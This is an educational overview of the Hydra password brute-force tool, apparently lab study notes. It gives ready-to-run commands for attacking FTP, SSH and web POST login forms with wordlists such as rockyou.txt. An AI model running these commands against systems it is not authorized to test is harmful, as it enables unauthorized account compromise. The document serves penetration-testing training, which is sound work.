

Hydra Brute Force Tool – Overview, Purpose & Command Examples

This document provides a clear and structured explanation of **Hydra**, including its purpose, supported protocols, and practical command examples. It is intended for learning, lab practice, and cybersecurity documentation.

1. What is Hydra?

Hydra is an **online brute-force password cracking tool** used to test login credentials against various network services and web applications.

It automates the process of trying multiple username and password combinations, significantly speeding up what would otherwise be a manual and time-consuming task.

Hydra is commonly used during: - Penetration testing - Red team assessments - Security research labs (e.g., TryHackMe, Hack The Box)

 **Note:** Hydra should only be used on systems you own or have explicit permission to test.

2. Purpose of Hydra

The main purpose of Hydra is to: - Identify **weak or reused passwords** - Test the **strength of authentication mechanisms** - Gain authorized access during security assessments

Hydra works by: - Taking a username (or username list) - Trying passwords from a wordlist - Attempting authentication against a target service

3. Supported Protocols

According to its official repository, Hydra supports brute-forcing a wide range of protocols, including but not limited to:

- FTP, SSH, Telnet
- HTTP / HTTPS (GET & POST forms)
- SMB, RDP, VNC
- MySQL, PostgreSQL, MongoDB, MSSQL
- SMTP, POP3, IMAP
- SNMP (v1, v2, v3)

- LDAP, Oracle, Redis, VMware-Auth

This wide protocol support makes Hydra a **versatile authentication testing tool**.

4. Hydra Command Structure

The general syntax of Hydra is:

```
hydra [options] <target> <protocol>
```

Options and flags vary depending on the protocol being tested.

5. Brute Forcing FTP (Example)

Command

```
hydra -l user -P passlist.txt ftp://MACHINE_IP
```

Purpose

This command attempts to brute force **FTP login credentials** using a known username and a password list.

Breakdown

- `-l user` : Specifies the FTP username
 - `-P passlist.txt` : Password wordlist
 - `ftp://MACHINE_IP` : Target FTP service
-

6. Brute Forcing SSH

Command

```
hydra -l <username> -P <full path to pass> MACHINE_IP -t 4 ssh
```

Purpose

Used to brute force **SSH login credentials** on a remote machine.

Flag Explanation

Option	Description
-l	Specifies the SSH username
-P	Password list
-t	Number of parallel threads
ssh	Target service

Example

```
hydra -l root -P passwords.txt MACHINE_IP -t 4 ssh
```

This will: - Use `root` as the username - Try all passwords from `passwords.txt` - Run 4 login attempts in parallel

7. Brute Forcing Web Login Forms (POST Method)

Hydra can brute force **web-based login forms** that use the POST method. To do this, we must know: - Login page path - Username and password form fields - Failure response message

General Syntax

```
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form  
"<path>:<login_credentials>:<invalid_response>"
```

Parameter Explanation

Component	Description
<path>	Login page URL (e.g., <code>/login.php</code>)
<login_credentials>	Form fields for username & password
<invalid_response>	Text shown when login fails
http-post-form	Specifies POST request method

Example Command

```
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form  
"/:username=^USER^&password=^PASS^:F=incorrect" -V
```

Purpose

This command brute forces a **POST-based web login form**.

How It Works

- `^USER^` is replaced with the provided username
- `^PASS^` is replaced with each password from the wordlist
- `F=incorrect` tells Hydra what a failed login looks like
- `-V` enables verbose output

8. Practical Examples

Web Login Brute Force

```
hydra -l molly -P rockyou.txt <MACHINE_IP> http-post-form "/  
login:username=^USER^&password=^PASS^:Your username or password is incorrect."
```

SSH Brute Force

```
hydra -l molly -P rockyou.txt <MACHINE_IP> ssh
```

9. Conclusion

Hydra is a powerful **brute-force and credential testing tool** used to assess authentication security across multiple protocols. Understanding its syntax, options, and response handling is essential for effective and ethical use in penetration testing and cybersecurity labs.